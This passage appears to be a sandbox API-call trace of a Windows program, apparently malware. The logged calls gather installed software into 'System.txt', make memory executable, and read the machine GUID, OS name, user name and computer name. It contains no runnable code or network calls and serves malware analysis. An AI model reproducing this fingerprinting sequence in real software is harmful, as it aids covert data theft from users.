Maintenance Service(25.0)\r\n\r\n\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", len=0x597 | out: pbstr=0x1e7df7dc*="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n\r\n\r\n\r\nGoogle Chrome(59.0.3071.115)\r\n\r\n\r\n\r\n\r\n\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n\r\n\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n") returned 1 [0166.410] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n\r\n\r\n\r\nGoogle Chrome(59.0.3071.115)\r\n\r\n\r\n\r\n\r\n\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n\r\n\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", cchWideChar=1431, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n\r\n\r\n\r\nGoogle Chrome(59.0.3071.115)\r\n\r\n\r\n\r\n\r\n\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n\r\n\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1431 [0166.410] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=1431, lpWideCharStr=0x1e7de7a0, cchWideChar=2047 | out: lpWideCharStr="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n\r\n\r\n\r\nGoogle Chrome(59.0.3071.115)\r\n\r\n\r\n\r\n\r\n\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n\r\n\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n") returned 1431 [0166.413] SysReAllocStringLen (in: pbstr=0x1e7df7d4*=0x0, psz="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\nGoogle Chrome(59.0.3071.115)\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", len=0x567 | out: pbstr=0x1e7df7d4*="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\nGoogle Chrome(59.0.3071.115)\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n") returned 1 [0166.413] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\nGoogle Chrome(59.0.3071.115)\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", cchWideChar=1383, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\nGoogle Chrome(59.0.3071.115)\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1383 [0166.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.417] CharToOemBuffA (in: lpszSrc="System.txt", lpszDst=0x1f026bcc, cchDstLength=0xa | out: lpszDst="System.txt") returned 1 [0166.417] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd31f94, Length=0xde1) returned 0x5ab8a7d6 [0166.418] VirtualAlloc (lpAddress=0x1fd34000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd34000 [0166.420] VirtualFree (lpAddress=0x1fd14000, dwSize=0x1c000, dwFreeType=0x4000) returned 1 [0166.421] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1e7dfc3c | out: phkResult=0x1e7dfc3c*=0x7fc) returned 0x0 [0166.421] RegQueryValueExW (in: hKey=0x7fc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x1e7dfc44, lpData=0x1e7dfa3c, lpcbData=0x1e7dfc40*=0xfe | out: lpType=0x1e7dfc44*=0x1, lpData="500c0908-381e-49dc-a6a0-1a800e9a56e0", lpcbData=0x1e7dfc40*=0x4a) returned 0x0 [0166.422] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="500c0908-381e-49dc-a6a0-1a800e9a56e0", cchWideChar=36, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="500c0908-381e-49dc-a6a0-1a800e9a56e014.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 36 [0166.422] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc50 | out: phkResult=0x1e7dfc50*=0x804) returned 0x0 [0166.422] RegQueryValueExW (in: hKey=0x804, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfc58, lpData=0x1e7dfa50, lpcbData=0x1e7dfc54*=0xfe | out: lpType=0x1e7dfc58*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfc54*=0x2e) returned 0x0 [0166.422] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.422] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional0-1a800e9a56e014.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 22 [0166.422] GetUserNameW (in: lpBuffer=0x1e7dfa74, pcbBuffer=0x1e7dfa70 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7dfa70) returned 1 [0166.422] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aETAdzjz", cchWideChar=8, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aETAdzjz7 Professional0-1a800e9a56e014.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 8 [0166.422] GetComputerNameW (in: lpBuffer=0x1e7dfa74, nSize=0x1e7dfa70 | out: lpBuffer="YKYD69Q", nSize=0x1e7dfa70) returned 1 [0166.423] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="YKYD69Q", cchWideChar=7, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YKYD69Qz7 Professional0-1a800e9a56e014.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 7 [0166.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb89, cbMultiByte=1, lpWideCharStr=0x1e7deb60, cchWideChar=2047 | out: lpWideCharStr="6ṽ〳〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㜱删摥獩牴扩瑵扡敬⠠㙸⤴ⴠㄠ⸴〱㈮〵㜱ㄨ⸴〱㈮〵㜱〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㌱删摥獩牴扩瑵扡敬⠠\x07") returned 1 [0166.423] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*=0x0, psz="6", len=0x1 | out: pbstr=0x1e7dfcb0*="6") returned 1 [0166.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb81, cbMultiByte=1, lpWideCharStr=0x1e7deb58, cchWideChar=2047 | out: lpWideCharStr="1ṽﮉṽ6ṽ〳〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㜱删摥獩牴扩瑵扡敬⠠㙸⤴ⴠㄠ⸴〱㈮〵㜱ㄨ⸴〱㈮〵㜱〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㌱删摥獩牴扩瑵扡敬⠠\x07") returned 1 [0166.423] SysReAllocStringLen (in: pbstr=0x1e7dfcac*=0x0, psz="1", len=0x1 | out: pbstr=0x1e7dfcac*="1") returned 1 [0166.423] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="6.1", cchWideChar=3, lpMultiByteStr=0x1e7dec80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.1\x1e0e9a56e014.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 3 [0166.423] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc94 | out: phkResult=0x1e7dfc94*=0x808) returned 0x0 [0166.423] RegQueryValueExW (in: hKey=0x808, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfc9c, lpData=0x1e7dfa94, lpcbData=0x1e7dfc98*=0xfe | out: lpType=0x1e7dfc9c*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfc98*=0x2e) returned 0x0 [0166.423] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.423] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x1e7decac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 22 [0166.424] SysReAllocStringLen (in: pbstr=0x1e7dfd7c*=0x0, psz="x32", len=0x3 | out: pbstr=0x1e7dfd7c*="x32") returned 1 [0166.424] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75b90000 [0166.424] GetProcAddress (hModule=0x75b90000, lpProcName="IsWow64Process") returned 0x75ba195e [0166.424] GetCurrentProcess () returned 0xffffffff [0166.424] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1e7dfca4 | out: Wow64Process=0x1e7dfca4) returned 1 [0166.424] SysReAllocStringLen (in: pbstr=0x1e7dfd7c*="x32", psz="x64", len=0x3 | out: pbstr=0x1e7dfd7c*="x64") returned 1 [0166.424] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="x64", cchWideChar=3, lpMultiByteStr=0x1e7deca4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="x64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 3 [0166.424] GetComputerNameW (in: lpBuffer=0x1e7dfaa8, nSize=0x1e7dfaa4 | out: lpBuffer="YKYD69Q", nSize=0x1e7dfaa4) returned 1 [0166.424] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="YKYD69Q", cchWideChar=7, lpMultiByteStr=0x1e7dec9c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YKYD69Q\x1ex64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 7 [0166.424] GetUserNameW (in: lpBuffer=0x1e7dfaa0, pcbBuffer=0x1e7dfa9c | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7dfa9c) returned 1 [0166.425] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aETAdzjz", cchWideChar=8, lpMultiByteStr=0x1e7dec94, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aETAdzjzYKYD69Q\x1ex64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 8 [0166.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb95, cbMultiByte=1, lpWideCharStr=0x1e7deb6c, cchWideChar=2047 | out: lpWideCharStr="2ṽ⹣眨嘠獩慵⭃‫〲㜱删摥獩牴扩瑵扡敬⠠㙸⤴ⴠㄠ⸴〱㈮〵㜱ㄨ⸴〱㈮〵㜱〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㌱删摥獩牴扩瑵扡敬⠠\x07") returned 1 [0166.425] SysReAllocStringLen (in: pbstr=0x1e7dfd58*=0x0, psz="2", len=0x1 | out: pbstr=0x1e7dfd58*="2") returned 1 [0166.425] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x1e7dec8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 